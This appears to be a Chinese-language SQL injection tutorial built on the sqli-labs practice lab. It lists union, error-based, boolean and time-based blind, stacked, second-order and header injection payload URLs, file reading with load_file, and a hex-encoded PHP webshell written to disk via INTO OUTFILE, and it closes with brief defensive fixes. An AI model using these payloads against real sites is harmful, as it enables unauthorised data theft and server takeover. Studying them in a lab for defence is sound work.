SQL注入因为后台sql语句拼接了用户的输入,而且web应用程序对用户输入数据的合法性没有判断和过滤,导致构造的sql语句可对数据库实现任意操作
sql注入时要注释掉后面的部分才能使整个语句正确运行
#
单行注释
select * from users where id=1 union select 1,2,database()# limit 0,30;
–空格注释符
select * from users where id=1 union select 1,2,database() -- ' limit 0,30;
–后面有个空格,否则会报错,不过书写时可能疏忽,因此空格后一般写一个随机字符串。
/**/多行注释
mysql 数据库有表information_schema;
oracle 数据库有表dual;
sqlserver 数据库有表sysobjects;
access 数据库有表msysobjects;
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #
//判断是否是Oracle数据库
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(*) from dual)>0 #
盲注类型
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 //正常显示,不断进行尝试可得到当前数据库长度
2:判断当前数据库的字符,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100//不断尝试可得当前数据库为 security
界面信息展示
获取数据库名
http://192.168.101.101/Less-1/?id=-1' union select 1,version(),database() --+
获取数据库中的表名
http://192.168.101.101/Less-1/?id=-1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
获取表中的字段名
http://192.168.101.101/Less-1/?id=-1' union select 1,version(),group_concat(column_name) from%20information_schema.columns where table_name='users' --+
获取表中的内容
192.168.101.101/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
version():查看数据库版本
database():查看数据库名
user():查看数据库用户
system_user():查看系统用户名
current_user():查看当前用户名
load_file():读取本地文件
@@datadie:读数据库路径
@@basedir:数据库的安装路径
1、先加单引号’ 、双引号”、单括号)、双括号))、单引号加括号’)、双引号加括号")等等看看是否报错,如果报错可能存在注入
2、在url后面加and 1=1、and 1=2看页面显示是否一样,若不一样可能存在sql注入漏洞
3、时间盲注可以通过sleep进行测试
union注入适用于有显示列的注入,可以通过order by来判断当前查询的列数。
http://192.168.101.101/Less-1/?id=1' order by 3--+
通过不断测试得知当前语句中查询的列数为3,接下来用户判断展示内容的顺序和位置
http://192.168.101.101/Less-1/?id=1' union select 1,2,3--+
此时并不展示union构造的1,2,3的内容因为界面只展示一行数据为id=1的内容,我们把id设置一个不存在的这样就展示了构造union后的sql内容了
http://192.168.101.101/Less-1/?id=-1' union select 1,2,3--+
http://192.168.101.101/Less-1/?id=-1' and(updatexml(1,concat(0x7e,(select database())),0))--+
http://192.168.101.101/Less-1/?id=-1' union select 1,version(),database()--+
id为-1是让查询结果为空这样能展示union后的查询语句内容
在sql语句中floor,count,group by同时使用遇到的冲突问题
如下是介绍floor与group by使用报错的原理:
concat连接作用,把database换成想要的sql语句即可
参考updatexml报错注入
updatexml报错注入
盲注:指完成了注入攻击但是服务器没有错误回显。
常用的函数:ascii()、substr()、length()、exists()、concat()等
Boolean是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况; 通过and 1=1和and 1=2可以发现注入点。
判断方式:
1.id=1’ 报错
2.id=1 and 1=1 结果和id=1一样
3.id=1 and 1=2 结果异常
常用函数解析:
通过长度判断length():length(database())>=x
通过字符判断substr():substr(database(),1,1) =‘s’
通过ascII码判断:ascii():ascii(substr(database(),1,1)) =x
通过构造的sql语句来查看页面返回结果,根据对比结果判断正确与否。
例题:sqli-labs page1 less-8
http://192.168.101.101/Less-8/?id=1
http://192.168.101.101/Less-8/?id=1’ and ascii(substr(database(),1,1))=115–+
获取数据库长度
and (length(database()))=一个数 %23
获得数据库名
and (ascii(substr(database(),1,1)))=一个数 %23
获得当前数据库下表的个数
and (select count(*) from information_schema.tables where table_schema='数据库名')=一个数 %23
判断每个表的长度
and(length((select table_name from information_schema.tables where table_schema='库名' limit0,1)))=一个数 %23
获取表名
and(ascii(subste((select table_name from information_schema.tables where table_schema='库名' limit0,1),1,1))=一个数)
获取表内字段的数量
and(select count(*)from information_schema columns where table_schema='库名' and table_name='表名')=一个数 %23
获取字段的长度
and (length((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)))=一个数%23
获取第一个字段的名称
and (length((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)))=一个数%23
获取第一个数据内容的长度
and(length((select 字段名 from 表名 limit 1,1)))=一个数 %23
获取第一个数据的内容
and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=一个数 %23
时间盲注通过简单的语句无法看出异常,页面上没有错误显示也没有正常的显示内容,加入sleep(3)之后页面回显的速度变慢
http://192.168.101.101/Less-9/?id=1' and if(1=1,sleep(3),null)--+
宽字节注入详解
修复:
1、将character_set_client设置为binary二进制,在所有的sql语句前指定链接的形式是二进制
sql语句中分号;表示一条语句的结束。若想多条语句都执行则在每个语句中间加上分号即可。
例如:
select id,username,password from users;
insert into users(id,username,password) values(1,'a','a');
delete from users where id=1;
union 或者union all是跟着原有sql语句一起执行,语句类型有限制。而堆叠注入是可以执行任意语句。
通常发生在更改,需要二次
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
查找name字段中以zh开头的所有数据
select name from users where name regexp '^zh';
// 判断security数据库下的第一个表的是否以a-z的字母开头
http://127.0.0.1/sqli/Less-1/?id=1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) #
^开头
$结尾等语法,就是正则的规则
使用burp抓包,然后在该数据包的User-Agent字段添加任意测试内容(跟上面的注入语句一样,就是这个语句写在了user-agent里面了)
例:
http://192.168.101.101/Less-18/
union注入读取文件
http://192.168.101.101/Less-1/?id=-1' union select 1,2,load_file("e:/3.txt")
//盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1
union写入文件
可以利用写入文件的功能,在d盘创建a.php文件,然后写入一句话木马
//利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'' into outfile 'd:/a.php' #
// 可以将一句话木马转换成16进制的形式
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'e:/4.php' #
mysql> select database();
+------------+
| database() |
+------------+
| security |
+------------+
1 row in set (0.00 sec)
mysql> select substr(database() from 1 for 2);
+---------------------------------+
| substr(database() from 1 for 2) |
+---------------------------------+
| se |
+---------------------------------+
1 row in set (0.00 sec)
mysql> select substr(database() from 2 for 3);
+---------------------------------+
| substr(database() from 2 for 3) |
+---------------------------------+
| ecu |
+---------------------------------+
1 row in set (0.00 sec)
#说明前面一个数字是从第几个开始读取,最后的一个数字是读取的长度。
1、预编译
2、用正则表达式过滤
3、web应用连接数据库的权限降到最低只允许查看
4、使用web应用防火墙